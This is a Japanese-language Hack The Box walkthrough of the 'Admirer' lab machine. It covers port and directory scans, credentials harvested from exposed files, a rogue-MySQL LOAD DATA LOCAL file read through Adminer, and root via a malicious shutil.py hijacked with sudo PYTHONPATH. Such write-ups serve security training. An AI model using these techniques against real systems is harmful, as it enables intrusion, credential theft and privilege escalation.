【Hack The Box】Admirer Walkthrough
はじめに
ポートスキャン
root@kali:~# nmap -sC -sV -Pn 10.10.10.187 Starting Nmap 7.80 ( https://nmap.org ) at 2020-09-12 21:49 JST Nmap scan report for 10.10.10.187 Host is up (0.24s latency). Not shown: 997 closed ports PORT STATE SERVICE VERSION 21/tcp open ftp vsftpd 3.0.3 22/tcp open ssh OpenSSH 7.4p1 Debian 10+deb9u7 (protocol 2.0) | ssh-hostkey: | 2048 4a:71:e9:21:63:69:9d:cb:dd:84:02:1a:23:97:e1:b9 (RSA) | 256 c5:95:b6:21:4d:46:a4:25:55:7a:87:3e:19:a8:e7:02 (ECDSA) |_ 256 d0:2d:dd:d0:5c:42:f8:7b:31:5a:be:57:c4:a9:a7:56 (ED25519) 80/tcp open http Apache httpd 2.4.25 ((Debian)) | http-robots.txt: 1 disallowed entry |_/admin-dir |_http-server-header: Apache/2.4.25 (Debian) |_http-title: Admirer Service Info: OSs: Unix, Linux; CPE: cpe:/o:linux:linux_kernel Service detection performed. Please report any incorrect results at https://nmap.org/submit/ . Nmap done: 1 IP address (1 host up) scanned in 18.77 seconds
21(ftp)、22(ssh)、80(http)が開いている。 ftpでのanonymousログオンは検出されていないため、80番ポートから見ていく。
80番ポート(http)の調査
ブラウザでアクセス
こんな画面。
nmapの結果から、robots.txtを見に行く。
/admin-dirにアクセスを試みるが、403が返ってくる。
ディレクトリスキャン
/admin-dirに対してディレクトリスキャンを行う。拡張子にはHTBでありがちなtxtとapacheだからphpを指定する。
root@kali:~# gobuster dir -u http://10.10.10.187/admin-dir -w /usr/share/seclists/Discovery/Web-Content/directory-list-2.3-medium.txt -x txt,php -t 100 =============================================================== Gobuster v3.0.1 by OJ Reeves (@TheColonial) & Christian Mehlmauer (@_FireFart_) =============================================================== [+] Url: http://10.10.10.187/admin-dir [+] Threads: 100 [+] Wordlist: /usr/share/seclists/Discovery/Web-Content/directory-list-2.3-medium.txt [+] Status codes: 200,204,301,302,307,401,403 [+] User Agent: gobuster/3.0.1 [+] Extensions: txt,php [+] Timeout: 10s =============================================================== 2020/09/12 22:44:21 Starting gobuster =============================================================== /contacts.txt (Status: 200) /credentials.txt (Status: 200) =============================================================== 2020/09/12 23:10:51 Finished ===============================================================
contacts.txtとcredentials.txtが気になる。
見つけたtxtファイルの確認
curlでローカルに持ってくる。
contacts.txt
root@kali:~/admirer# curl -O http://10.10.10.187/admin-dir/contacts.txt && cat contacts.txt % Total % Received % Xferd Average Speed Time Time Time Current Dload Upload Total Spent Left Speed 100 350 100 350 0 0 738 0 --:--:-- --:--:-- --:--:-- 738 ########## # admins # ########## # Penny Email: p.wise@admirer.htb ############## # developers # ############## # Rajesh Email: r.nayyar@admirer.htb # Amy Email: a.bialik@admirer.htb # Leonard Email: l.galecki@admirer.htb ############# # designers # ############# # Howard Email: h.helberg@admirer.htb # Bernadette Email: b.rauch@admirer.htb
ユーザ名とメールアドレスが書かれている。
credentials.txt
root@kali:~/admirer# curl -O http://10.10.10.187/admin-dir/credentials.txt && cat credentials.txt % Total % Received % Xferd Average Speed Time Time Time Current Dload Upload Total Spent Left Speed 100 136 100 136 0 0 287 0 --:--:-- --:--:-- --:--:-- 287 [Internal mail account] w.cooper@admirer.htb fgJr6q#S\W:$P [FTP account] ftpuser %n?4Wz}R$tTF7 [Wordpress account] admin w0rdpr3ss01!
各サービスのユーザ名、パスワードが書かれている。
ftp接続
credentials.txtから見つけたFTP accountでftp接続し、dump.sqlとhtml.tar.gzをローカルに持ってくる。
root@kali:~/admirer# ftp 10.10.10.187 Connected to 10.10.10.187. 220 (vsFTPd 3.0.3) Name (10.10.10.187:root): ftpuser 331 Please specify the password. Password: 230 Login successful. Remote system type is UNIX. Using binary mode to transfer files. ftp> ls 200 PORT command successful. Consider using PASV. 150 Here comes the directory listing. -rw-r--r-- 1 0 0 3405 Dec 02 2019 dump.sql -rw-r--r-- 1 0 0 5270987 Dec 03 2019 html.tar.gz 226 Directory send OK. ftp> mget * mget dump.sql? 200 PORT command successful. Consider using PASV. 150 Opening BINARY mode data connection for dump.sql (3405 bytes). 226 Transfer complete. 3405 bytes received in 0.00 secs (19.3289 MB/s) mget html.tar.gz? 200 PORT command successful. Consider using PASV. 150 Opening BINARY mode data connection for html.tar.gz (5270987 bytes). 226 Transfer complete. 5270987 bytes received in 9.73 secs (529.1583 kB/s)
ダウンロードしたファイルの確認
dump.sql
(多分)mysqldumpコマンドの実行結果。
html.tar.gz
解凍する。/utility-scripts/配下が気になる。
root@kali:~/admirer# mkdir html root@kali:~/admirer# tar -zxf html.tar.gz -C html/ root@kali:~/admirer# tree (snip) ├── html │ ├── assets │ │ ├── css │ │ │ ├── fontawesome-all.min.css │ │ │ ├── images │ │ │ │ ├── arrow.svg │ │ │ │ ├── close.svg │ │ │ │ └── spinner.svg │ │ │ ├── main.css │ │ │ └── noscript.css │ │ ├── js │ │ │ ├── breakpoints.min.js │ │ │ ├── browser.min.js │ │ │ ├── jquery.min.js │ │ │ ├── jquery.poptrox.min.js │ │ │ ├── main.js │ │ │ └── util.js │ │ ├── sass │ │ │ ├── base │ │ │ │ ├── _page.scss │ │ │ │ ├── _reset.scss │ │ │ │ └── _typography.scss │ │ │ ├── components │ │ │ │ ├── _actions.scss │ │ │ │ ├── _button.scss │ │ │ │ ├── _form.scss │ │ │ │ ├── _icon.scss │ │ │ │ ├── _icons.scss │ │ │ │ ├── _list.scss │ │ │ │ ├── _panel.scss │ │ │ │ ├── _poptrox-popup.scss │ │ │ │ └── _table.scss │ │ │ ├── layout │ │ │ │ ├── _footer.scss │ │ │ │ ├── _header.scss │ │ │ │ ├── _main.scss │ │ │ │ └── _wrapper.scss │ │ │ ├── libs │ │ │ │ ├── _breakpoints.scss │ │ │ │ ├── _functions.scss │ │ │ │ ├── _mixins.scss │ │ │ │ ├── _vars.scss │ │ │ │ └── _vendor.scss │ │ │ ├── main.scss │ │ │ └── noscript.scss │ │ └── webfonts │ │ ├── fa-brands-400.eot │ │ ├── fa-brands-400.svg │ │ ├── fa-brands-400.ttf │ │ ├── fa-brands-400.woff │ │ ├── fa-brands-400.woff2 │ │ ├── fa-regular-400.eot │ │ ├── fa-regular-400.svg │ │ ├── fa-regular-400.ttf │ │ ├── fa-regular-400.woff │ │ ├── fa-regular-400.woff2 │ │ ├── fa-solid-900.eot │ │ ├── fa-solid-900.svg │ │ ├── fa-solid-900.ttf │ │ ├── fa-solid-900.woff │ │ └── fa-solid-900.woff2 │ ├── images │ │ ├── fulls │ │ │ ├── arch01.jpg │ │ │ ├── arch02.jpg │ │ │ ├── art01.jpg │ │ │ ├── art02.jpg │ │ │ ├── eng01.jpg │ │ │ ├── eng02.jpg │ │ │ ├── mind01.jpg │ │ │ ├── mind02.jpg │ │ │ ├── mus01.jpg │ │ │ ├── mus02.jpg │ │ │ ├── nat01.jpg │ │ │ └── nat02.jpg │ │ └── thumbs │ │ ├── thmb_arch01.jpg │ │ ├── thmb_arch02.jpg │ │ ├── thmb_art01.jpg │ │ ├── thmb_art02.jpg │ │ ├── thmb_eng01.jpg │ │ ├── thmb_eng02.jpg │ │ ├── thmb_mind01.jpg │ │ ├── thmb_mind02.jpg │ │ ├── thmb_mus01.jpg │ │ ├── thmb_mus02.jpg │ │ ├── thmb_nat01.jpg │ │ └── thmb_nat02.jpg │ ├── index.php │ ├── robots.txt │ ├── utility-scripts │ │ ├── admin_tasks.php │ │ ├── db_admin.php │ │ ├── info.php │ │ └── phptest.php │ └── w4ld0s_s3cr3t_d1r │ ├── contacts.txt │ └── credentials.txt (snip)
/utility-scriptsの中身探索
/utility-scripts/admin_task.php
データベースへの接続方法らしきものがある。
root@kali:~/admirer# cat html/utility-scripts/admin_tasks.php <html> <head> <title>Administrative Tasks</title> </head> <body> <h3>Admin Tasks Web Interface (v0.01 beta)</h3> <?php // Web Interface to the admin_tasks script // if(isset($_REQUEST['task'])) { $task = $_REQUEST['task']; if($task == '1' || $task == '2' || $task == '3' || $task == '4' || $task == '5' || $task == '6' || $task == '7') { /*********************************************************************************** Available options: 1) View system uptime 2) View logged in users 3) View crontab (current user only) 4) Backup passwd file (not working) 5) Backup shadow file (not working) 6) Backup web data (not working) 7) Backup database (not working) NOTE: Options 4-7 are currently NOT working because they need root privileges. I'm leaving them in the valid tasks in case I figure out a way to securely run code as root from a PHP page. ************************************************************************************/ echo str_replace("\n", "<br />", shell_exec("/opt/scripts/admin_tasks.sh $task 2>&1")); } else { echo("Invalid task."); } } ?> <p> <h4>Select task:</p> <form method="POST"> <select name="task"> <option value=1>View system uptime</option> <option value=2>View logged in users</option> <option value=3>View crontab</option> <option value=4 disabled>Backup passwd file</option> <option value=5 disabled>Backup shadow file</option> <option value=6 disabled>Backup web data</option> <option value=7 disabled>Backup database</option> </select> <input type="submit"> </form> </body> </html>
画面はこんな感じ。
db_admin.php
認証情報らしきものを発見。
root@kali:~/admirer# cat html/utility-scripts/db_admin.php <?php $servername = "localhost"; $username = "waldo"; $password = "Wh3r3_1s_w4ld0?"; // Create connection $conn = new mysqli($servername, $username, $password); // Check connection if ($conn->connect_error) { die("Connection failed: " . $conn->connect_error); } echo "Connected successfully"; // TODO: Finish implementing this or find a better open source alternative ?>
ここで発見したアカウントでssh接続試行したが、失敗した。
Adminerに関する調査
マシン名からして、adminer
が使われていることが予想できる。(名前だけは知っていた)
adminerとは、phpMyAdminのようなデータベース管理ツール。
以下の参考サイトより、adminerの管理画面にアクセスするためには、adminer.phpにアクセスすれば良いとのことが分かる。
Adminer インストール|Zenlogicサポートサイト[IDCフロンティア]
http://10.10.10.187/utility-scripts/adminer.phpにアクセスすると、以下のようなログイン画面が表示された。Adminerのバージョンも4.6.2と判明する。 ユーザ名、パスワードの候補は上述の通りいくつかあるが、データベース名が見当つかず、ログインはできない。
adminerの脆弱性について調べる
root@kali:~/admirer# searchsploit adminer 4 ----------------------------------------------------------------------------------------------------------------------------------------------------------------------- --------------------------------- Exploit Title | Path ----------------------------------------------------------------------------------------------------------------------------------------------------------------------- --------------------------------- Adminer 4.3.1 - Server-Side Request Forgery | php/webapps/43593.txt ----------------------------------------------------------------------------------------------------------------------------------------------------------------------- --------------------------------- Shellcodes: No Results
使えそうなものはなかったため、インターネットでadminer 4.6 exploit
で検索すると、一番上に以下のサイトが見つかる。
Serious Vulnerability Discovered in Adminer database Administration Tool
二番目には脆弱性を突く手順を動画付きで解説しているページが見つかる。 Serious Vulnerability Discovered in Adminer database Administration Tool
脆弱性を突く
手順に沿って進めていく。
First
まず、攻撃者は被害者のAdminerインスタンスにアクセスしますが、被害者のMySQLデータベースに接続しようとするのではなく、自分のサーバーでホストされている自分のMySQLデータベースに「戻る」ように接続します。
root@kali:~/admirer# systemctl mysql start root@kali:~/admirer# mysql -u root MariaDB [(none)]> create database hack; MariaDB [(none)]> use hack; MariaDB [hack]> create table hack_table1(data varchar(10000)); MariaDB [hack]> create user user1 identified by 'user1password';
外部から接続できるように/etc/mysql/mariadb.conf.d/50-server.cnf
のbind-address
を変更し、サービスを再起動。
root@kali:~/admirer# cat /etc/mysql/mariadb.conf.d/50-server.cnf | grep bind-address bind-address = 0.0.0.0 root@kali:~/admirer# systemctl restart mysql
攻撃側のIPアドレスを指定し、接続試行。 ログインできたが、「不正なデータベース」と表示される。 調べると、作成したユーザの権限はデフォルトでは何もない状態なので、それが原因かも。
MariaDB [(none)]> show grants for user1; +------------------------------------------------------------------------------------------------------+ | Grants for user1@% | +------------------------------------------------------------------------------------------------------+ | GRANT USAGE ON *.* TO `user1`@`%` IDENTIFIED BY PASSWORD '*110F5A4519AE120878960E635D8CFCBFAED6C618' | +------------------------------------------------------------------------------------------------------+ 1 row in set (0.000 sec)
USAGE という権限が設定されている。USAGE という権限は「何も権限がない」という権限とのこと。全部の権限を付与。
MariaDB [(none)]> GRANT ALL ON *.* TO user1@'%' IDENTIFIED BY 'user1password'; Query OK, 0 rows affected (0.000 sec) MariaDB [(none)]> show grants for user1; +---------------------------------------------------------------------------------------------------------------+ | Grants for user1@% | +---------------------------------------------------------------------------------------------------------------+ | GRANT ALL PRIVILEGES ON *.* TO `user1`@`%` IDENTIFIED BY PASSWORD '*110F5A4519AE120878960E635D8CFCBFAED6C618' | +---------------------------------------------------------------------------------------------------------------+ 1 row in set (0.000 sec) root@kali:~/admirer# systemctl restart mysql
行けた。
Second
第二に、被害者の Adminer (自分のデータベースに接続されている) を使用して、被害者のサーバー上のローカルファイルを指定して、MySQL コマンド 'LOAD DATA LOCAL' を使用します。このコマンドは、Adminer インスタンスのローカルファイルからデータベースにデータをロードするために使用されます。
load data local infile '../index.php' into table hack_table1 fields terminated by "\n"
実行後、「選択」をクリックするとwaldoのパスワードを発見。
$servername = "localhost"; $username = "waldo"; $password = "&<h5b~yK3F#{PaPB&dA}{H>"; $dbname = "admirerdb";
userシェル奪取
この認証情報をつかってssh接続。
root@kali:~/admirer# ssh waldo@10.10.10.187 waldo@10.10.10.187's password: Linux admirer 4.9.0-12-amd64 x86_64 GNU/Linux The programs included with the Devuan GNU/Linux system are free software; the exact distribution terms for each program are described in the individual files in /usr/share/doc/*/copyright. Devuan GNU/Linux comes with ABSOLUTELY NO WARRANTY, to the extent permitted by applicable law. You have new mail. Last login: Wed Apr 29 10:56:59 2020 from 10.10.14.3 waldo@admirer:~$ ls user.txt waldo@admirer:~$ cat user.txt XXXXXXXXXXXX
権限昇格のための情報収集
sudoの実行権限確認
waldo@admirer:~$ sudo -l [sudo] password for waldo: Matching Defaults entries for waldo on admirer: env_reset, env_file=/etc/sudoenv, mail_badpass, secure_path=/usr/local/sbin\:/usr/local/bin\:/usr/sbin\:/usr/bin\:/sbin\:/bin, listpw=always User waldo may run the following commands on admirer: (ALL) SETENV: /opt/scripts/admin_tasks.sh
waldoはadminsグループに属しているので、admin_tasks.shが実行できるようだ。
waldo@admirer:/home$ ls -l /opt/scripts/admin_tasks.sh -rwxr-xr-x 1 root admins 2613 Dec 2 2019 /opt/scripts/admin_tasks.sh waldo@admirer:/home$ id uid=1000(waldo) gid=1000(waldo) groups=1000(waldo),1001(admins)
admin_tasks.shは以下。
waldo@admirer:~$ cat /opt/scripts/admin_tasks.sh #!/bin/bash view_uptime() (snip) view_users() (snip) view_crontab() (snip) backup_passwd() (snip) backup_shadow() (snip) backup_web() { if [ "$EUID" -eq 0 ] then echo "Running backup script in the background, it might take a while..." /opt/scripts/backup.py & ★ else echo "Insufficient privileges to perform the selected operation." fi } backup_db() (snip) echo "[[[ System Administration Menu ]]]" PS3="Choose an option: " COLUMNS=11 select opt in "${options[@]}"; do case $REPLY in 1) view_uptime ; break ;; 2) view_users ; break ;; 3) view_crontab ; break ;; 4) backup_passwd ; break ;; 5) backup_shadow ; break ;; 6) backup_web ; break ;; 7) backup_db ; break ;; 8) echo "Bye!" ; break ;; *) echo "Unknown option." >&2 esac done exit 0
6) backup_web
を選択したときに、/opt/scripts/backup.py
が実行されるようだ。
/opt/scripts/backup.pyは以下。
waldo@admirer:~$ cat /opt/scripts/backup.py #!/usr/bin/python3 from shutil import make_archive ★ src = '/var/www/html/' # old ftp directory, not used anymore #dst = '/srv/ftp/html' dst = '/var/backups/html' make_archive(dst, 'gztar', src) ★
shutilライブラリから、make_archiveを実行している。
pip show shutilでライブラリがあるpathを調べるがpip入っていなかった。pipでいれたライブラリではない。別のスクリプトからimportしていると判断。
>>> import shutil >>> print shutil.__file__ /usr/lib/python2.7/shutil.pyc ★
参考:https://www.lifewithpython.com/2014/07/python-get-location-of-libraries-modules-packages.html
pythonが見に行くライブラリ保存場所を確認。
>>> import sys >>> import pprint >>> pprint.pprint(sys.path) ['', '/usr/lib/python2.7', ★←ここにshutilがある '/usr/lib/python2.7/plat-x86_64-linux-gnu', '/usr/lib/python2.7/lib-tk', '/usr/lib/python2.7/lib-old', '/usr/lib/python2.7/lib-dynload', '/usr/local/lib/python2.7/dist-packages', '/usr/lib/python2.7/dist-packages']
上記7この場所を読み取っていることが分かる。。 tmp配下にshutil.pyを作成し、PYTHONPATHの優先順位を変える。
以下のようなshutil.pyを/tmp/hackに置く。
waldo@admirer:/tmp/hack$ cat shutil.py import os def make_archive(a, b, c): os.system("cp /root/root.txt /tmp/hack/root.txt; chmod 777 root.txt")
admin_task.shを実行して完。
waldo@admirer:/tmp/hack$ sudo PYTHONPATH=/tmp/hack /opt/scripts/admin_tasks.sh [[[ System Administration Menu ]]] 1) View system uptime 2) View logged in users 3) View crontab 4) Backup passwd file 5) Backup shadow file 6) Backup web data 7) Backup DB 8) Quit Choose an option: 6 Running backup script in the background, it might take a while... waldo@admirer:/tmp/hack$ cat root.txt XXXXXXXXXXXXXXXXXXXXXXXXXXXX